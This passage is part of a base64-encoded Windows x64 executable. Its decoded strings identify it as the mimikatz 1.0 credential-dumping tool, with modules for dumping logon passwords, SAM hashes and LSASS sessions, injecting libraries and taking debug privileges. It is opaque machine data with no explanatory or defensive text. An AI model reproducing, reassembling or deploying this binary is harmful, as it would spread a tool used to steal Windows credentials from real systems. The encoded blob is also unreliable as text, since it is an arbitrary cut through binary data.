9uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKy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AAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABEAEgAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAEYAVQBMAEwAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAAAAAABQAFIATwBWAF8ARABTAFMAAAAAAAAAAABQAFIATwBWAF8ARgBPAFIAVABFAFoAWgBBAAAAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAAAAAABQAFIATwBWAF8AUwBTAEwAAAAAAAAAAABQAFIATwBWAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAAAAAAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBTAEkARwAAAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8ARgBVAEwATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAAAAAAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAAAAAAAAUABSAE8AVgBfAFIATgBHAAAAAAAAAAAAUABSAE8AVgBfAEkATgBUAEUATABfAFMARQBDAAAAAABQAFIATwBWAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAAAAAAAAAAAAEAAAAEARBoABAAAAAHgAgAEAAAB4EAaAAQAAAKB3AIABAAAAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAAAAAAAATkNyeXB0RW51bUtleXMAAE5DcnlwdE9wZW5LZXkAAABOQ3J5cHRFeHBvcnRLZXkATkNyeXB0R2V0UHJvcGVydHkAAAAAAAAATkNyeXB0RnJlZUJ1ZmZlcgAAAAAAAAAATkNyeXB0RnJlZU9iamVjdAAAAAAAAAAAQkNyeXB0RW51bVJlZ2lzdGVyZWRQcm92aWRlcnMAAABCQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABTeXN0ZW1GdW5jdGlvbjAwNgAAAAAAAABhAGQAdgBhAHAAaQAzADIAAAAAAAAAAABTeXN0ZW1GdW5jdGlvbjAwNwAAAAAAAABSdGxVcGNhc2VVbmljb2RlU3RyaW5nVG9PZW1TdHJpbmcAAAAAAAAAbgB0AGQAbABsAAAAAAAAAFJ0bEluaXRVbmljb2RlU3RyaW5nAAAAAFJ0bEZyZWVPZW1TdHJpbmcAAAAAAAAAACFAIyQlXiYqKClxd2VydHlVSU9QQXp4Y3Zibm1RUVFRUVFRUVFRUVEpKCpAJiUAADAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkAAAAAAAAAAE5UUEFTU1dPUkQAAAAAAABMTVBBU1NXT1JEAAAAAAAAcgBiAAAAAABcAAAAAAAAAExvYWRMaWJyYXJ5VwAAAABrAGUAcgBuAGUAbAAzADIAAAAAAAAAAABSdGxDcmVhdGVVc2VyVGhyZWFkAAAAAABUAG8AawBlAG4AUwB0AHIAZQBhAG0AAABIAGEAbgBkAGwAZQBPAHAAZQByAGEAdABpAG8AbgBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAAAAAFQAaAByAGUAYQBkAEkAbgBmAG8ATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AZQBtAG8AcgB5AEkAbgBmAG8ATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBzAGMASQBuAGYAbwBTAHQAcgBlAGEAbQAAAAAAVQBuAGwAbwBhAGQAZQBkAE0AbwBkAHUAbABlAEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABGAHUAbgBjAHQAaQBvAG4AVABhAGIAbABlAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUARABhAHQAYQBTAHQAcgBlAGEAbQAAAAAAAAAAAEMAbwBtAG0AZQBuAHQAUwB0AHIAZQBhAG0AVwAAAAAAQwBvAG0AbQBlAG4AdABTAHQAcgBlAGEAbQBBAAAAAABNAGUAbQBvAHIAeQA2ADQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAVABoAHIAZQBhAGQARQB4AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AAAAAAAAAAABFAHgAYwBlAHAAdABpAG8AbgBTAHQAcgBlAGEAbQAAAE0AZQBtAG8AcgB5AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAAAAAAAAVABoAHIAZQBhAGQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAxAAAAUgBlAHMAZQByAHYAZQBkAFMAdAByAGUAYQBtADAAAABVAG4AdQBzAGUAZABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAAAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFAAcgBpAHYAYQB0AGUAVwByAGkAdABlAEMAbwBwAHkATQBlAG0AbwByAHkAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEYAdQBsAGwAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABBAHUAeABpAGwAaQBhAHIAeQBTAHQAYQB0AGUAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVABoAHIAZQBhAGQASQBuAGYAbwAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgARgB1AGwAbABNAGUAbQBvAHIAeQBJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABPAHAAdABpAG8AbgBhAGwARABhAHQAYQAAAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAAAAAAAE0AaQBuAGkARAB1AG0AcABGAGkAbAB0AGUAcgBNAG8AZAB1AGwAZQBQAGEAdABoAHMAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgASQBuAGQAaQByAGUAYwB0AGwAeQBSAGUAZgBlAHIAZQBuAGMAZQBkAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABVAG4AbABvAGEAZABlAGQATQBvAGQAdQBsAGUAcwAAAE0AaQBuAGkARAB1AG0AcABTAGMAYQBuAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAARgBpAGwAdABlAHIATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAATgBvAHIAbQBhAGwAAAAAAFMAZQByAHYAaQBjAGUAIAA6ACAAAAAAACkAIAA7ACAAbgAnAGEAIABwAGEAcwAgAGwAJwBhAGkAcgAgAHQAcgDoAHMAIABhAGMAdABpAGYAAAAAACAAKAAAAAAAAAAAAEwAZQAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAIAA7ACAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIAB0AHIAbwB1AHYAZQByACAAbABlACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAEAAcABpAGQAKAAAAAAAAABSAGUAYwBoAGUAcgBjAGgAZQAgAGQAZQBzACAAcABhAHQAdABlAHIAbgBzACAAZABhAG4AcwAgADoAIAAAAAAATwBLAAAAAABLAE8AAAAAACkAIAA6ACAAAAAAAAAAAABQAGEAdABjAGgAIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcwBlAGEAcgBjAGgATQBlAG0AbwByAHkAIAAAAAAAAABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUATQBvAGQAdQBsAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBwAGEAdABjAGgAOgA6AGcAZQB0AEYAdQBsAGwAVgBlAHIAcwBpAG8AbgAgADoAIAAAAAAAAAAAAEwAYQAgAHYAZQByAHMAaQBvAG4AIABkAHUAIABzAHkAcwB0AOgAbQBlACAAZAAnAGUAeABwAGwAbwBpAHQAYQB0AGkAbwBuACAAYQBjAHQAdQBlAGwAbABlACAAbgAnAGUAcwB0ACAAcABhAHMAIABzAHUAcABwAG8AcgB0AOkAZQAgAHAAYQByACAAYwBlAHQAdABlACAAZgBvAG4AYwB0AGkAbwBuAC4AAABcAFwAAAAAAAAAAABcAHAAaQBwAGUAXAAAAAAAsBIGgAEAAAAQtQCAAQAAAG0AaQBtAGkAawBhAHQAegBQAAAAAAAAAG0AaQBtAGkAawBhAHQAegBEAAAAAAAAAG0AaQBtAGkAawBhAHQAegBVAAAAAAAAAE50U3VzcGVuZFByb2Nlc3MAAAAAAAAAAE50UmVzdW1lUHJvY2VzcwBOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAAAAAAAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAKAAwAHgAAAAgACoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAG8AYgB0AGUAbgBpAHIAIAB1AG4AIABtAGUAcwBzAGEAZwBlACAAKgAAAAAAAAAAAE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgAAAAAAAAAATnRRdWVyeU9iamVjdAAAAFJ0bEluaXRTdHJpbmcAAAAKAAAAAAAAADwATgBVAEwATAA+AAAAAAAwMTIzNDU2Nzg5YWJjZGVmQUJDREVGAAAwMTIzNDU2Nzg5YWJjZGVmAAAAAAAAAAAAAAAAAAAAACgTBoABAAAAZBABgAEAAABcDwGAAQAAAHgOAYABAAAAlA0BgAEAAACsDAGAAQAAAJwLAYABAAAAjAoBgAEAAAB8CQGAAQAAAGwIAYABAAAAQAcBgAEAAAAMBgGAAQAAAKgDAYABAAAAZQByAHIAZQB1AHIAIABTAEkARAAgADsAIAAAAAAAAABuAC4AYQAuAAAAAAAAAAAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQA6ADoAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAAAAAAAAZQB4AGkAdAAAAAAAAAAAAFMAdABhAG4AZABhAHIAZAAAAAAAAAAAAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGUAIABlAHQAIABjAGUAcgB0AGkAZgBpAGMAYQB0AHMAAAAAAAAAAABjAHIAeQBwAHQAbwAAAAAASABhAHMAaAAAAAAAAAAAAGgAYQBzAGgAAAAAAAAAAABHAGUAcwB0AGkAbwBuACAAcwB5AHMAdADoAG0AZQAAAHMAeQBzAHQAZQBtAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHAAcgBvAGMAZQBzAHMAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAdABoAHIAZQBhAGQAcwAAAAAAAAAAAHQAaAByAGUAYQBkAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAHMAZQByAHYAaQBjAGUAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAAAAAAAaABhAG4AZABsAGUAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAdABvAGsAZQBuAHMAIABkACcAYQBjAGMA6ABzAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAAAAAAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAAAAAAG4AbwBnAHAAbwAAAAAAAABEAHUAbQBwACAAZABlACAAUwBBAE0AAABzAGEAbQBkAHUAbQBwAAAASQBuAGoAZQBjAHQAZQB1AHIAIABkAGUAIABsAGkAYgByAGEAaQByAGkAZQBzAAAAaQBuAGoAZQBjAHQAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByAAAAdABzAAAAAABGAG8AbgBjAHQAaQBvAG4AcwAgAGQAaQB2AGUAcgBzAGUAcwAgAG4AJwBhAHkAYQBuAHQAIABwAGEAcwAgAGUAbgBjAG8AcgBlACAAYQBzAHMAZQB6ACAAZABlACAAYwBvAHIAcABzACAAcABvAHUAcgAgAGEAdgBvAGkAcgAgAGwAZQB1AHIAcwAgAHAAcgBvAHAAcgBlAHMAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGQAaQB2AGUAcgBzAAAAAABEAHUAbQBwACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAHAAYQByACAAcAByAG8AdgBpAGQAZQByAHMAIABMAFMAQQBTAFMAAABzAGUAawB1AHIAbABzAGEAAAAAAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgBzACAARQBGAFMAAAAAAAAAZQBmAHMAAABtAGkAbQBpAGsAYQB0AHoAIAAxAC4AMAAgAHgANgA0ACAAKABSAEMAKQAAAAAAAAAAAAAAAAAAAC8ALwAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAAAAAAKQAgACoALwAAAAAAAAAAADEwOjEwOjE1AAAAAAAAAABTZXAgMzAgMjAxMwAAAAAACQAvACoAIABUAHIAYQBpAHQAZQBtAGUAbgB0ACAAZAB1ACAASwBpAHcAaQAgACgAAAAAAAAAAAAoAGMAbwBtAG0AYQBuAGQAbABpAG4AZQApACAAIwAgAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAIAAjACAAAAA6ADoAAAAAACcAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAAAAAAAAAQwBvAG0AbQBhAG4AZABlACAAbABvAGMAYQBsAGUAIAAnAAAAAAAAACcAIABpAGQAZQBuAHQAaQBmAGkA6QAsACAAbQBhAGkAcwAgAGMAbwBtAG0AYQBuAGQAZQAgACcAAAAAAAAAAABNAG8AZAB1AGwAZQAgADoAIAAnAAAAAABEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIABkAHUAIABtAG8AZAB1AGwAZQAgADoAIAAAAAAAAAAAAE0AbwBkAHUAbABlAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAIAA6ACAAAAAAAE8AdQB2AGUAcgB0AHUAcgBlACAAZAB1ACAAcABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIAA6ACAAAABcAFwALgBcAG0